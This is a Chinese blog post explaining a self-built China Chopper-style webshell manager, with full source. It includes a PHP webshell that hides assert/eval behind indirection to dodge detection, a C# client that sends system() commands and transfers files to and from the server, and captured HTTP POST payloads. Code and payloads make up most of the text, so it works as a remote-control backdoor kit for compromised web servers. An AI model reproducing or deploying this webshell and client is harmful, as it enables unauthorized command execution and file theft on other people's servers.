• Demo版菜刀

    webshell:

    2. @ini_set('display_errors','0');
    3. if($_REQUEST['Ynife_verify'] == "verity" && $_REQUEST['Ynife_password'] == "pass"){
    4.  echo "bingo";
    5. }
    6. if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
    7.  if($_REQUEST['Ynife_run_flag'] == "run"){
    8.   loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
    9.  }else{
    10.   loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
    11.  }
    12. }
    13. function loader($a,$b){
    14.  $cc = run($b);
    15.  $a($cc);
    16. }
    17. function run($b){
    18.   return $b;
    19.  }
    20. ?>

    image.png

    image.png

    他叫我约妹子去了。那我就去了。。。

    首先看到webshell如何判断是否连接成功，当$_REQUEST['Ynife_verify']为verity和$_REQUEST['Ynife_password']等于pass的时候echo一个bingo。师傅看到这里可以就会喷了哈哈哈哈我也觉得。因为后期会改造所以暂时先将就着试试水。

    这里回到c#入口函数

    Program.cs

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Linq;
    4. using System.Text;
    5.  
    6.  
    7. namespace Ynife
    8. {
    9.     internal class Program
    10.     {
    11.         static void Main(string[] args)
    12.         {
    13.             string url = args[0];
    14.             string password = args[1];
    15.             string res = SendData.PostRequest(url, password);
    16.             if (res == "bingo")
    17.             {
    18.                 Console.WriteLine("[+]connect success");
    19.                 SendExecuteCommand.SendCode(url, password);
    20.             }
    21.             else
    22.             {
    23.                 Console.WriteLine("[-]connect failed");
    24.             }
    25.         }
    26.     }
    27. }

    首先接受控制台url加密码其实就是$_REQUEST['Ynife_password']的值。然后通过SendData类的PostRequest方法发送。跟进PostRequest方法。

    1. public static string PostRequest(string url,string password)
    2. {
    3.     string responseData = "";
    4.     var client = new WebClient();
    5.     WebProxy proxy = new WebProxy("127.0.0.1", 8080);
    6.     client.Proxy = proxy;
    7.     var data = new NameValueCollection();
    8.     data["Ynife_password"] = password;
    9.     data["Ynife_verify"] = "verity";
    10.     byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    11.     client.Headers.Add("ContentLength", sendData.Length.ToString());
    12.     byte[] bytes = client.UploadValues(url, "POST", data);
    13.     responseData = Encoding.UTF8.GetString(bytes);
    14.     return responseData;
    15. }

    本地测试开启了8080代理，不用关闭就行。

    测试下连接

    image.png

    image.png

    SendExecuteCommand.SendCode(url, password);

    如果连接成功调用SendExecuteCommand类得SendCode方法。同样需要传参url和password。跟进SendCode方法

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Collections.Specialized;
    4. using System.Linq;
    5. using System.Net;
    6. using System.Text;
    7.  
    8. namespace Ynife
    9. {
    10.     public static class SendExecuteCommand
    11.     {
    12.         public static void SendCode(string url,string password)
    13.         {
    14.             while (true)
    15.             {
    16.                 Console.Write(">>");
    17.                 string cmd = Console.ReadLine();
    18.                 if(cmd == "break" || cmd == "quit" || cmd == "exit")
    19.                 {
    20.                     Console.WriteLine("bye~");
    21.                     break;
    22.                 }
    23.                 if(cmd == "help" || cmd == "h" || cmd == "?")
    24.                 {
    25.                     Console.WriteLine("[*]usage:\r\n         h or help or ? for help");
    26.                     Console.WriteLine("         break or quit or exit for exit shell");
    27.                     Console.WriteLine("         upload filename for upload file");
    28.                     Console.WriteLine("         download filename for download file");
    29.                 }
    30.                 if(cmd.Contains("upload "))
    31.                 {
    32.                     string upfile = cmd.Replace("upload", "").Trim();
    33.                     uploadFile.upload(upfile,url,password);
    34.                     continue;
    35.                 }
    36.                 if(cmd.Contains("download "))
    37.                 {
    38.                     string dwfile = cmd.Replace("download", "").Trim();
    39.                     download.downloadFile(url, password, dwfile);
    40.                     continue;
    41.                 }
    42.                 string responseData = "";
    43.                 var wb = new WebClient();
    44.                 WebProxy proxy = new WebProxy("127.0.0.1", 8080);
    45.                 wb.Proxy = proxy;
    46.                 var data = new NameValueCollection();
    47.                 data["Ynife_verify"] = "run";
    48.                 data["Ynife_password"] = password;
    49.                 data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
    50.                 data["loader"] = "assert";
    51.                 data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
    52.                 data["Ynife_run_flag"] = "run";
    53.                 byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    54.                 wb.Headers.Add("ContentLength", sendData.Length.ToString());
    55.                 byte[] bytes = wb.UploadValues(url, "POST", data);
    56.                 //responseData = Encoding.UTF8.GetString(bytes);
    57.                 Encoding gb2312;
    58.                 gb2312 = Encoding.GetEncoding("gb2312");
    59.                 responseData = gb2312.GetString(bytes);
    60.                 if (responseData.Contains("yes"))
    61.                 {
    62.                     responseData = responseData.Replace("yes", "");
    63.                 }
    64.                 Console.WriteLine(responseData);
    65.             }
    66.             
    67.         }
    68.     }
    69. }

    while循环当string cmd = Console.ReadLine(); cmd值为break或者quit或者exit退出循环。cmd值为help或者h或者?，使用教程。upload和download分别调用uploadFile类upload方法和download类downloadFile方法。这里先不管，先看命令执行。看到webshell。

    1. if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
    2.  if($_REQUEST['Ynife_run_flag'] == "run"){
    3.   loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
    4.  }else{
    5.   loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
    6.  }
    7. }
    8. function loader($a,$b){
    9.  $cc = run($b);
    10.  $a($cc);
    11. }
    12. function run($b){
    13.   return $b;
    14.  }

    loader方法其实就是b)。loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);就一眼看出来是个什么鬼了。为什么要这么写？问得好，因为我直接写被干了。

    回到c#

    1. string responseData = "";
    2. var wb = new WebClient();
    3. WebProxy proxy = new WebProxy("127.0.0.1", 8080);
    4. wb.Proxy = proxy;
    5. var data = new NameValueCollection();
    6. data["Ynife_verify"] = "run";
    7. data["Ynife_password"] = password;
    8. data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
    9. data["loader"] = "assert";
    10. data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
    11. data["Ynife_run_flag"] = "run";
    12. byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    13. wb.Headers.Add("ContentLength", sendData.Length.ToString());
    14. byte[] bytes = wb.UploadValues(url, "POST", data);
    15. //responseData = Encoding.UTF8.GetString(bytes);
    16. Encoding gb2312;
    17. gb2312 = Encoding.GetEncoding("gb2312");
    18. responseData = gb2312.GetString(bytes);

    抓包看看

    image.png

    1. POST /test2.php HTTP/1.1
    2. ContentLength: 50
    3. Content-Type: application/x-www-form-urlencoded
    4. Host: www.test.com
    5. Content-Length: 191
    6. Expect: 100-continue
    7. Connection: close
    8.  
    9. Ynife_verify=run&Ynife_password=pass&Ynife_run=system('whoami');@ini_set('display_errors','0');&loader=assert&Ynife_run_loader=@eval($_REQUEST['Ynife_run'])&Ynife_run_flag=run

    接下来看到文件下载

    1. if(cmd.Contains("download "))
    2. {
    3.     string dwfile = cmd.Replace("download", "").Trim();
    4.     download.downloadFile(url, password, dwfile);
    5.     continue;
    6. }

    可以看到当cmd值为download xx的时候replace download空格为空，后面就执行download类的downloadFile方法。

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Collections.Specialized;
    4. using System.IO;
    5. using System.Linq;
    6. using System.Net;
    7. using System.Text;
    8.  
    9. namespace Ynife
    10. {
    11.     public static class download
    12.     {
    13.         public static void downloadFile(string url,string password,string downloadFile)
    14.         {
    15.             try
    16.             {
    17.                 string responseData = "";
    18.                 var wb = new WebClient();
    19.                 WebProxy proxy = new WebProxy("127.0.0.1", 8080);
    20.                 wb.Proxy = proxy;
    21.                 var data = new NameValueCollection();
    22.                 string Ynife_run = "@eval($_REQUEST['up']);";
    23.                 data["Ynife_run"] = Ynife_run;
    24.                 data["Ynife_verify"] = "run";
    25.                 data["Ynife_password"] = password;
    26.                 data["Ynife_download"] = "true";
    27.                 data["Ynife_run_loader"] = "assert";
    28.                 data["up"] = "@ini_set('display_errors',+'0');$filename = '"+ downloadFile+"';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);";
    29.                 byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    30.                 wb.Headers.Add("ContentLength", sendData.Length.ToString());
    31.                 byte[] bytes = wb.UploadValues(url, "POST", data);
    32.                 //responseData = Encoding.UTF8.GetString(bytes);
    33.                 Encoding gb2312;
    34.                 gb2312 = Encoding.GetEncoding("gb2312");
    35.                 responseData = gb2312.GetString(bytes);
    36.                 File.WriteAllBytes(downloadFile, bytes);
    37.                 if (File.Exists(downloadFile))
    38.                 {
    39.                     Console.WriteLine("[+]download success");
    40.                 }
    41.                 else
    42.                 {
    43.                     Console.WriteLine("[-]download failed");
    44.                 }
    45.             }
    46.             catch (Exception ex)
    47.             {
    48.                 Console.WriteLine(ex.Message);
    49.             }
    50.         }
    51.     }
    52. }

    直接看到post数据包吧。

    image.png

    post包：

    1. POST /test2.php HTTP/1.1
    2. ContentLength: 50
    3. Content-Type: application/x-www-form-urlencoded
    4. Host: www.test.com
    5. Content-Length: 336
    6. Expect: 100-continue
    7. Connection: close
    8.  
    9. Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_download=true&Ynife_run_loader=assert&up=@ini_set('display_errors',+'0');$filename = '2.jpg';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);

    利用fopen+fread。c#端通过File.WriteAllBytes写入文件。

    文件上传

    1. if(cmd.Contains("upload "))
    2. {
    3.     string upfile = cmd.Replace("upload", "").Trim();
    4.     uploadFile.upload(upfile,url,password);
    5.     continue;
    6. }

    跟进uploadFile类的upload方法。

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Collections.Specialized;
    4. using System.IO;
    5. using System.Linq;
    6. using System.Net;
    7. using System.Text;
    8.  
    9. namespace Ynife
    10. {
    11.     public static class uploadFile
    12.     {
    13.         public static void upload(string upfile,string url,string password)
    14.         {
    15.             try
    16.             {
    17.                 WebClient oWeb = new System.Net.WebClient();
    18.                 WebProxy proxy = new WebProxy("127.0.0.1", 8080);
    19.                 oWeb.Proxy = proxy;
    20.                 NameValueCollection parameters = new NameValueCollection();
    21.                 string Ynife_run = "@eval($_REQUEST['up']);";
    22.                 parameters.Add("Ynife_run", Ynife_run);
    23.                 parameters.Add("Ynife_verify", "run");
    24.                 parameters.Add("Ynife_password", password);
    25.                 parameters.Add("Ynife_upload", "true");
    26.                 parameters.Add("Ynife_run_loader", "assert");
    27.                 parameters.Add("up", "@ini_set('display_errors',+'0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename);");
    28.                 oWeb.QueryString = parameters;
    29.                 var responseBytes = oWeb.UploadFile(url, upfile);
    30.                 string response = Encoding.ASCII.GetString(responseBytes);
    31.             }
    32.             catch(Exception ex)
    33.             {
    34.                 Console.WriteLine(ex.Message);
    35.             }
    36.             
    37.         }
    38.     }
    39. }

    直接抓包

    image.png

    1. POST /test2.php?Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_upload=true&Ynife_run_loader=assert&up=@ini_set('display_errors', '0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename); HTTP/1.1
    2. Content-Type: multipart/form-data; boundary=---------------------8da75982467498c
    3. Host: www.test.com
    4. Content-Length: 117381
    5. Expect: 100-continue
    6. Connection: close
    7.  
    8. -----------------------8da75982467498c
    9. Content-Disposition: form-data; name="file"; filename="2.jpg"
    10. Content-Type: application/octet-stream

    就是调用move_uploaded_file来进行文件上传，有点粗糙。

  • 相关阅读:
    AtCoder abc 133
    ubuntu22.04 x11窗口环境手势控制
    zabbix监控多实例redis
    JS中字符串常用方法（总结）
    centos / oracle Linux 常用运维命令讲解
    将目录下的所有pdf文件都转换为对应名字的png图片
    git工作使用
    wayland(xdg_wm_base) + egl + opengles 使用 Assimp 加载3D model 最简实例(十三)
    Java底层自学大纲_中间件原理篇
    Makefile中诸多等号“:=, =, ?=和+=”的区别
  • 原文地址：https://blog.csdn.net/hongduilanjun/article/details/126850897